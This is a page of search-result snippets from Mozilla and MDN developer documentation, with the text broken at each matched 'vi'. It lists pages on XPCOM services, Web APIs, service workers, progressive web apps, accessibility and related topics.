...And 32 more matches
Using nsIDirectoryService
content formerly at http://www.mozilla.org/projects/xpcom/nsdirectoryser
vice.html general nsdirectoryser
vice information: nsdirectoryser
vice implements the nsiproperties interface.
...with nsdirectoryser
vice, there are two steps involved.
...c++ nscomptr<nsifile> dir; ns_getspecialdirectory(prop, getter_addrefs(dir)); if (!dir) return ns_error_failure; javascript: var file = components.classes["@mozilla.org/file/directory_ser
vice;1"] .getser
vice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code snippets section of this site.) adding a location: there are currently two ways to add a file location to the directory ser
vice: directly and delayed.
...And 31 more matches
Xray vision
xray
vision helps javascript running in a pri
vileged security context safely access objects created by less pri
vileged code, by showing the caller only the native version of the objects.
... gecko runs javascript from a variety of different sources and at a variety of different pri
vilege levels.
... the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system pri
vileges.
...And 31 more matches
Adding captions and subtitles to HTML5 video - Developer guides
in other articles we looked at how to build a cross browser
video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player.
... captioned
video example in this article, we will refer to the
video player with captions example.
... this example uses an excerpt from the sintel open mo
vie, created by the blender foundation.
...And 31 more matches
Using the viewport meta tag to control layout on mobile browsers
background the browser's
viewport is the area of the window in which web content can be seen.
... this is often not the same size as the rendered page, in which case the browser pro
vides scrollbars for the user to scroll around and access all the content.
... narrow screen de
vices (e.g.
...And 30 more matches
Navigation and resource timings - Web Performance
na
vigation timings are metrics measuring a browser's document na
vigation events.
...both pro
vide the same read-only properties, but na
vigation timing measures the main document's timings whereas the resource timing pro
vides the times for all the assets or resources called in by that main document and the resources' requested resources.
... the general performance timings below have been deprecated in favor of the performance entry api, which pro
vides for marking and measuring times along the na
vigation and resource loading process.
...And 30 more matches
A bird's-eye view of the Mozilla framework
tiner last updated date: 11/23/05 statement of purpose the purpose of this article is to pro
vide a high-level technical over
view of the architecture of the extensible, object-based mozilla application framework.
... it examines what happens when the user performs a simple user interface (ui) action such as clicking a link in the contents panel of the help
viewer window shown below.
... the article focuses on the architecture of the overall framework supporting the mozilla application suite, not the architecture of the indi
vidual applications themselves.
...And 29 more matches
An overview of NSS Internals
a high-level over
view to the internals of network security ser
vices (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security ser
vices, nowadays called network security ser
vices (nss).
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which pro
vides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
... in order to allow interoperability between software and de
vices that perform cryptographic operations, nss conforms to a standard called pkcs#11.
...And 29 more matches
nsIAnnotationService
toolkit/components/places/public/nsiannotationser
vice.idlscriptable stores arbitrary data about a web page.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-ser
vice;1".
... to use this ser
vice, use: var annotationser
vice = components.classes["@mozilla.org/browser/annotation-ser
vice;1"] .getser
vice(components.interfaces.nsiannotationser
vice); note: the annotation ser
vice is not thread-safe.
...And 29 more matches
Localization technical reviews
this guide pro
vides details on what a localization technical re
view is, what criteria are used for the technical re
views, and the process for requesting one and following its progress.
... the technical re
view process we use for new localizations can be confusing for any trying to start a new localization.
... we use this re
view process to perform quality assurance (qa) testing on your l10n efforts.
...And 28 more matches
ServiceWorkerGlobalScope - Web APIs
the ser
viceworkerglobalscope interface of the ser
viceworker api represents the global execution context of a ser
vice worker.
... developers should keep in mind that the ser
viceworker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.
... once successfully registered, a ser
vice worker can and will be terminated when idle to conserve memory and processor power.
...And 28 more matches
DataView - JavaScript
the data
view
view pro
vides a low-level interface for reading and writing multiple number types in a binary arraybuffer, without ha
ving to care about the platform's endianness.
...data
view accessors pro
vide explicit control of how data is accessed, regardless of the executing computer's endianness.
... var littleendian = (function() { var buffer = new arraybuffer(2); new data
view(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness.
...And 28 more matches
Layout System Overview - Archive of obsolete content
layout's job: pro
vide the presentation layout is primarily concerned with pro
viding a presentation to an html or xml document.
...presentation formatting is also required to pro
vide compatibility with legacy browsers (microsoft internet explorer and netscape na
vigator 4.x).
...in other words, the same html or xml document could be
viewed as a normal galley presentation in a browser window, while simultaneously being presented in a paged presentation to a printer, or even an aural presentation to a speech-synthesizer.
...And 27 more matches
calICalendarView - Archive of obsolete content
summary an object implementing calicalendar
view is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a
visual representation of calievent and calitodo objects.
... because of this close association between methods and attributes on the one hand, and content on the other, calicalendar
view implementations are particularly well suited to xbl.
...in the vast majority of cases, the dom corresponding to an implementation of calicalendar
view will be rather complex.
...And 27 more matches
Localization sign-off reviews
this article presents an over
view of why we do sign-off re
views of localizations, the details on the criteria used for the sign-off re
views, and the process for requesting a re
view and for following its progress.
... the sign-off re
view process has been notoriously shrouded in mystery.
... we use this re
view process to perform quality assurance (qa) testing on your l10n efforts.
...And 27 more matches
nsIHttpActivityObserver
netwerk/protocol/http/nsihttpacti
vityobserver.idlscriptable this interface pro
vides a way for http transport acti
vities to be reported to observers.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void observeacti
vity(in nsisupports ahttpchannel, in pruint32 aacti
vitytype, in pruint32 aacti
vitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http acti
vity, otherwise false.
... if this is false, the observeacti
vity() method should not be called.
...And 27 more matches
Activity Manager examples
this content covers features introduced in thunderbird 3 the acti
vity manager is a simple component that understands how to display a combination of user acti
vity and history.
... see the acti
vity manager page for a general description of the component.
... see the acti
vity manager interfaces page for an over
view of the related interfaces.
...And 27 more matches
XRView - Web APIs
the webxr de
vice api's xr
view interface pro
vides information describing a single
view into the xr scene for a specific frame, pro
viding orientation and position information for the
viewpoint.
... you can think of it as a description of a specific eye or camera and how it
views the world.
... a 3d frame will involve two
views, one for each eye, separated by an appropriate distance which approximates the distance between the
viewer's eyes.
...And 27 more matches
Setting up your own test automation environment - Learn web development
pre
vious over
view: cross browser testing in this article, we will teach you how to install your own automation en
vironment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
... we will also look at how to integrate your local testing en
vironment with commercial tools like the ones discussed in the pre
vious article.
... objective: to show how to set up a selenium testing en
vironment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack.
...And 26 more matches
nsITreeView
layout/xul/base/src/tree/public/nsitree
view.idlscriptable this interface is used by the tree widget to get information about what and how to display a tree widget.
... inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitree
view in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur.
... further information about creating tree
views is given in the xul tutorial.
...And 26 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
pre
vious over
view: progressive web apps next now that we’ve seen what the structure of js13kpwa looks like and have seen the basic shell up and running, let's look at how the offline capabilities using ser
vice worker are implemented.
... ser
vice workers explained ser
vice workers are a
virtual proxy between the browser and the network.
... they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s de
vice is offline.
...And 26 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
in this structural over
view, we'll look at the features that make up a standard web application, as well as some design patterns you can follow when building your pwa.
... server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but na
vigating between pages requires downloading new html content.
... it works great across browsers, but it suffers in terms of time na
vigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...And 26 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
pre
vious over
view: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
... code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-beha
vior or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/03-adding-dynamic-beha
vior remember to run npm install && npm run dev to start your app in development mode.
...the second parameter, if pro
vided, will contain the index of the current item.
...And 25 more matches
ServiceWorkerContainer - Web APIs
the ser
viceworkercontainer interface of the ser
vice worker api pro
vides an object representing the ser
vice worker as an overall unit in the network ecosystem, including facilities to register, unregister and update ser
vice workers, and access the state of ser
vice workers and their registrations.
... most importantly, it exposes the ser
viceworkercontainer.register() method used to register ser
vice workers, and the ser
viceworkercontainer.controller property used to determine whether or not the current page is actively controlled.
... properties ser
viceworkercontainer.controller read only returns a ser
viceworker object if its state is activated (the same object returned by ser
viceworkerregistration.active).
...And 25 more matches
An overview of accessible web applications and widgets - Accessibility
most javascript libraries offer a library of client-side widgets that mimic the beha
vior of familiar desktop interfaces.
... sliders, menu bars, file list
views, and more can be built with a combination of javascript, css, and html.
... since the html4 specification doesn't pro
vide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>.
...And 25 more matches
Video player styling basics - Developer guides
in the pre
vious cross browser
video player article we described how to build a cross-browser html5
video player using the media and fullscreen apis.
... the example in action you can find the code for the updated, styled example on github, and
view it live.
... preliminary modifications from the original example this section summarises the modifications that were made to the original
video player example to make the styling task easier, before the bulk of the work was started.
...And 25 more matches
Debugging service workers - Firefox Developer Tools
in this article we will look at debugging ser
vice workers using the firefox devtools application panel.
... when you open the application panel’s ser
vice workers
view on a page that doesn't have a ser
vice worker registered, you'll get the following output shown: this gives you some ad
vice on what to do if you don't have a ser
vice worker registered, and were perhaps expecting there to be one registered!
... getting your ser
vice worker to register before you can look at your ser
vice worker in action in the applications panel, you need to successfully register it.
...And 24 more matches
ServiceWorkerRegistration - Web APIs
the ser
viceworkerregistration interface of the ser
vice worker api represents the ser
vice worker registration.
... you register a ser
vice worker to control one or more pages that share the same origin.
... the lifetime of a ser
vice worker registration is beyond that of the ser
viceworkerregistration objects that represent them within the lifetime of their corresponding ser
vice worker clients.
...And 24 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
this model of web na
vigation is so common that most internet users do little else.
...for web developers, for example, it pro
vides less fine-grained control over the experience, and it can strain bandwidth and other resources.
...recently, however, modern browsers and enriched web standards have begun to make new na
vigational and presentational models possible.
...And 23 more matches
Detecting device orientation - Web APIs
increasingly, web-enabled de
vices are capable of determining their orientation; that is, they can report data indicating changes to their orientation with relation to the pull of gra
vity.
... in particular, hand-held de
vices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen
view of the web content when the de
vice is rotated so that its width is greater than its height.
...the first one is the de
viceorientationevent, which is sent when the accelerometer detects a change to the orientation of the de
vice.
...And 23 more matches
Audio and video manipulation - Developer guides
ha
ving native audio and
video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and
video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to
video.
... this article pro
vides a reference to explain what you need to do.
...
video manipulation the ability to read the pixel values from each frame of a
video can be very useful.
...And 23 more matches
Client-Server Overview - Learn web development
pre
vious over
view: first steps next now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
...this discussion is however still very relevant, because the described beha
viour must be implemented by your server-side code, irrespective of which programming language or web framework you select.
...for example, the http request that is sent when you perform a search on mdn for the term "client server over
view" will look a lot like the text shown below (it will not be identical because parts of the message depend on your browser/setup).
...And 22 more matches
Using the Places annotation service
the annotation ser
vice, pro
vided by the nsiannotationser
vice interface, is designed to store arbitrary data about a web page or about an item in the places database in firefox 3.
... for an over
view of the places database design, see the places database.
... most methods in the ser
vice are duplicated with one method labeled as a 'page annotation' taking an nsiuri and the others labeled as an 'item annotation' and taking the id of an item in the places database.
...And 22 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the background and thus not
visible to the user.
... the page
visibility api pro
vides events you can watch for to know when a document becomes
visible or hidden, as well as features to look at the current
visibility state of the page.
... notes: the page
visibility api is especially useful for sa
ving resources and impro
ving performance by letting a page avoid performing unnecessary tasks when the document isn't
visible.
...And 22 more matches
Custom Tree Views - Archive of obsolete content
« pre
viousnext » the tree
view holds the data to be displayed in the tree.
... creating a custom
view so far, we have only been using the built-in content tree
view.
... in this section, we will look at creating a custom
view.
...And 21 more matches
HTMLVideoElement - Web APIs
the html
videoelement interface pro
vides special properties and methods for manipulating
video objects.
...you should either pro
vide your
video in a single format that all the relevant browsers supports, or pro
vide multiple
video sources in enough different formats that all the browsers you need to support are covered.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
...And 21 more matches
ARIA: Navigation Role - Accessibility
the na
vigation landmark role is used to identify major groups of links used for na
vigating through a website or page content.
... <div role="na
vigation" aria-label="main"> <!-- list of links to main website locations --> </div> this is a website's main na
vigation.
... description the na
vigation role is a landmark role.
...And 21 more matches
Power profiling overview
by di
viding an energy amount by a non-infinitesimal time period.
... in the context of computing, a fully-charged mobile de
vice battery (as found in a laptop or smartphone) holds a certain amount of energy, and the speed at which that stored energy is depleted depends on the power consumption of the mobile de
vice.
... that in turn depends on the software running on the de
vice.
...And 20 more matches
nsIContentViewer
docshell/base/nsicontent
viewer.idlscriptable handles displaying content.
...to create an instance, use: var content
viewer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsicontent
viewer); method over
view void clearhistoryentry(); void close(in nsishentry historyentry); void destroy(); [noscript,notxpcom,nostdcall] nsi
viewptr findcontainer
view(); void getbounds(in nsintrectref abounds); native code only!
... [noscript,notxpcom,nostdcall] void setna
vigationtiming(in nsdomna
vigationtimingptr atiming); void setpagemode(in boolean apagemode, in nsiprintsettings aprintsettings); void show(); void stop(); void unload(); obsolete since gecko 1.8 attributes attribute type description container nsisupports domdocument nsidomdocument enablerendering ...
...And 20 more matches
nsINavBookmarksService
toolkit/components/places/nsinavbookmarksser
vice.idlscriptable the bookmarksser
vice interface pro
vides methods for managing bookmarked history items.
... 1.0 67 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-ser
vice;1.
... to use this ser
vice, use: var navbookmarksser
vice = components.classes["@mozilla.org/browser/nav-bookmarks-ser
vice;1"] .getser
vice(components.interfaces.nsinavbookmarksser
vice); method over
view void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri anewuri); long long createdynamiccontainer(in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex); note: renamed from createcontainer in gecko 1.9 obsolete since gecko 13.0 long long createfolder(in long long aparentfolder, in autf8string name, in long index); void endupdatebatch(); obsolete since gecko 1.9...
...And 20 more matches
Virtualenv
virtualenv is software for isolating python package en
vironments (e.g.
...creating a
virtualenv installs setuptools (or optionally distribute) into the
virtual en
vironment.
... it is recommended that you use
virtualenv for installing anything other than system software that you are working on.
...And 20 more matches
nsIServiceManager
xpcom/components/nsiser
vicemanager.idlscriptable this interface pro
vides a means to obtain global ser
vices in an application.
... the ser
vice manager depends on the repository to find and instantiate factories to obtain ser
vices.
... inherits from: nsisupports last changed in gecko 1.0 method over
view void getser
vice(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getser
vicebycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); boolean isser
viceinstantiated(in nscidref aclass, in nsiidref aiid); boolean isser
viceinstantiatedbycontractid(in string acontractid, in nsiidref aiid); methods getser
vice() this method returns a reference to a particular xpcom ser
vice given the classid of the ser
vice.
...And 19 more matches
Filelink Providers
filelink is a thunderbird feature that makes it easy for users to upload large attachments to web-based storage ser
vices such as hightail.
... this document explains how to extend thunderbird to support additional web-based storage ser
vices.
... nsimsgcloudfilepro
vider note: cloudfiles and bigfiles were the two temporary feature names that were used while filelink was under construction.
...And 19 more matches
Source code directories overview - Archive of obsolete content
it gives a bird's eye
view of the source code so a developer can get a good idea what is in mozilla and where to find things.
... it is a li
ving document which is (supposed to be) updated monthly according to changes in the mozilla source tree.
... see also similar information in mozilla source code directory structure, and also see the more detailed over
view of how the parts of gecko fit together.
...And 18 more matches
nsIPlacesView
the nsiplaces
view interface pro
vides a
view-agnostic way to access information about a places
view.
...controllers should not be concerned with these details; controller code should not be required to decode the meaning of a selection depending on what kind of
view produced the selection.
... rather, each
view is responsible for translating its own selection format into one the controller can understand.
...And 18 more matches
nsITaskbarPreviewController
widget/public/nsitaskbarpre
viewcontroller.idlscriptable this interface is used on microsoft windows to pro
vide the beha
vior of taskbar pre
views.
... its methods and properties are used by the nsitaskbarpre
view interface.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should pro
vide their own implementation of this interface.
...And 18 more matches
nsITaskbarWindowPreview
widget/public/nsitaskbarwindowpre
view.idlscriptable this interface is used on microsoft windows to represent the pre
view for a window in the taskbar.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpre
view last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowpre
view() to get the taskbar pre
view for a specific window.
... window pre
view beha
vior by default, windows implements much of the beha
vior for applications in a standard way.
...And 18 more matches
nsIMsgCloudFileProvider
nsimsgcloudfilepro
vider is the interface that must be implemented by new filelink pro
viders.
... inherits from: nsisupports method over
view void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsirequestobserver acallback); acstring pro
viderurlforerror(in unsigned long aerror); a...
... displayname acstring readonly: used for displaying the ser
vice name in the user interface.
...And 18 more matches
Plug-in Development Overview - Gecko Plugin API Reference
« pre
viousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process.
... a basic over
view of the plug-in development process is given in the following steps.
... plan your plug-in: decide on the ser
vices you want the plug-in software to pro
vide and how it will interact with the browser and the special media for which the plug-in is created.
...And 17 more matches
nsIAppShellService
xpfe/appshell/nsiappshellser
vice.idlscriptable pro
vides the appshellser
vice.
... inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/appshell/appshellser
vice;1 as a ser
vice: var appshellser
vice = components.classes["@mozilla.org/appshell/appshellser
vice;1"] .getser
vice(components.interfaces.nsiappshellser
vice); method over
view void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only!
... long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineser
vice acmdlineser
vice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineser
vice acmdlineser
vice); obsolete since gecko 1.8 void enterlastwindowclosingsur
vivalarea(); obsolete since gecko 1.8 void exitlastwindowclosingsur
vivalarea(); obsolete since gecko 1.8 void gethiddenwindowandjscontext(out nsidomwindow ahiddendomwindow, out jsco...
...And 17 more matches
nsINavHistoryService
toolkit/components/places/nsinavhistoryser
vice.idlscriptable this interface pro
vides complex query functions, more fine-grained getters and setters.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-ser
vice;1".
... to use this ser
vice, use: var historyser
vice = components.classes["@mozilla.org/browser/nav-history-ser
vice;1"] .getser
vice(components.interfaces.nsinavhistoryser
vice); method over
view astring getpagetitle(in nsiuri auri); void markpageasfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long add
visit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, in boolean aisredirect, in long long asessionid); obsolete since gecko 22.0 nsinavhistoryquery getnewquery(); nsinavhistoryqueryoptions getnewqueryoptions(); nsinavhistoryresult executequery(...
...And 17 more matches
nsIPushService
dom/interfaces/push/nsipushser
vice.idlscriptable a ser
vice for components to subscribe and receive push messages from remote servers.
...nsipushser
vice supports the push api implementation in firefox, and can be used directly from pri
vileged code to create system subscriptions.
... implemented by @mozilla.org/push/ser
vice;1 as a ser
vice: const pushser
vice = components.classes["@mozilla.org/push/ser
vice;1"] .getser
vice(components.interfaces.nsipushser
vice); method over
view void subscribe(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void getsubscription(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void unsubscribe(in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscription.
...And 17 more matches
Plug-in Development Overview - Plugins
« pre
viousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process.
... a basic over
view of the plug-in development process is given in the following steps.
... plan your plug-in: decide on the ser
vices you want the plug-in software to pro
vide and how it will interact with the browser and the special media for which the plug-in is created.
...And 17 more matches
Bluetooth.requestDevice() - Web APIs
the bluetooth.requestde
vice() method of the bluetooth interface returns a promise to a bluetoothde
vice object with the specified options.
... if there is no chooser ui, this method returns the first de
vice matching the criteria.
... syntax bluetooth.requestde
vice([options]) .then(function(bluetoothde
vice) { ...
...And 17 more matches
BluetoothDevice - Web APIs
the bluetoothde
vice interface of the web bluetooth api represents a bluetooth de
vice inside a particular script execution en
vironment.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/blu...
...etoothde
vice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothde
vice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothde
vice { readonly attribute domstring id; readonly attribute domstring?
...And 17 more matches
PerformanceNavigationTiming - Web APIs
the performancena
vigationtiming interface pro
vides methods and properties to store and retrieve metrics regarding the browser's document na
vigation events.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stro...
...ke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancena
vigationtiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancena
vigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for na
vigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "na
vigation".
...And 17 more matches
WorkerNavigator - Web APIs
the workerna
vigator interface represents a subset of the na
vigator interface allowed to be accessed from a worker.
... such an object is initialized for each worker and is available
via the workerglobalscope.na
vigator property obtained by calling window.self.na
vigator.
... properties the workerna
vigator interface implements properties from the na
vigatorid, na
vigatorlanguage, na
vigatoronline, na
vigatordatastore, and na
vigatorconcurrenthardware interfaces.
...And 17 more matches
:visited - CSS: Cascading Style Sheets
the :
visited css pseudo-class represents links that the user has already
visited.
... /* selects any <a> that has been
visited */ a:
visited { color: green; } styles defined by the :
visited pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :hover, or :active) that has at least equal specificity.
... to style links appropriately, put the :
visited rule after the :link rule but before the :hover and :active rules, as defined by the lvha-order: :link — :
visited — :hover — :active.
...And 17 more matches
New Security Model for Web Services - Archive of obsolete content
when an attempt is made to access a resource at a pre
viously-unknown uri, the sandbox reads a file at that domain with declarations to determine whether access is permitted to the script.
... also, this technique prevents the script from accessing many legitimate external resources not pro
vided in the same domain as the script.
... this prevents a script from accessing web ser
vices and data published from any domain besides its own.
...And 16 more matches
Using the Places livemark service
the livemark ser
vice, offered by the nsilivemarkser
vice interface, is used to create, edit, and reload livemarks.
... initiating the livemark ser
vice before using the livemark ser
vice, you need to obtain an instance: var livemarkser
vice = components.classes["@mozilla.org/browser/livemark-ser
vice;2"] .getser
vice(components.interfaces.nsilivemarkser
vice); creating a new livemark the nsilivemarkser
vice.createlivemark() method creates a new livemark.
... var newlvmkid = livemarkser
vice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
...And 16 more matches
Manipulating video using canvas - Web APIs
by combining the capabilities of the
video element with a canvas, you can manipulate
video data in real time to incorporate a variety of
visual effects to the
video being displayed.
...html> <head> <style> body { background: black; color:#cccccc; } #c2 { background-image: url(media/foo.png); background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px; background:#3b3b3b; } </style> </head> <body> <div> <
video id="
video" src="media/
video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away from this are: this document establishes two canvas elements, with...
... canvas c1 is used to display the current frame of the original
video, while c2 is used to display the
video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the
video.
...And 16 more matches
XRViewerPose - Web APIs
the webxr de
vice api interface xr
viewerpose represents the pose (the position and orientation) of a
viewer's point of
view on the scene.
... each xr
viewerpose can have multiple
views to represent, for example, the slight separation between the left and right eye.
... this
view can represent anything from the point-of-
view of a user's xr headset to the
viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a
virtual camera capturing the scene for a spectator.
...And 16 more matches
Keyboard-navigable JavaScript widgets - Accessibility
over
view web applications often use javascript to mimic desktop widgets such as menus, tree
views, rich text fields, and tab panels.
... the following table describes tabindex beha
vior in modern browsers: tabindex attribute focusable with mouse or javascript
via element.focus() tab na
vigable not present follows the platform convention of the element (yes for form controls, links, etc.).
...tabindex="0") yes in tab order relative to element's position in document (note that interactive elements like <a> have this beha
vior by default, they don't need the attribute).
...And 16 more matches
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
this means that it allows for a
video stream to switch between bit rates on the basis of network performance, in order to keep a
video playing.
... browser support firefox 21 includes an implementation of dash for html5 webm
video which is turned off by default.
... it can be enabled
via "about:config" and the "media.dash.enabled" preference.
...And 16 more matches
Setting Up a Development Environment - Archive of obsolete content
« pre
viousnext » getting the right tools there are 3 tools that we think are essential for effective add-on development (or any kind of development, really): a source code editor, a source control system, and a build system.
...it has an add-on system similar to the one in firefox, and there are some komodo extensions that pro
vide additional help in extension development.
...this structure should be familiar, as it is almost identical to the unpacked xpi from the pre
vious section.
...And 15 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
one of the web's oldest news sites, wired news draws between 20 and 25 million page
views every month.
...the new design clearly shows what some experts have been saying: that standards-based design can be
visually compelling and preserve the interface conventions we've come to expect from web pages.
... the brains and primary dri
ving force behind this compelling new design is douglas bowman, network design manager for terra lycos, who graciously agreed to an inter
view and in the process shed a lot of light on what goes into a standards-based redesign.
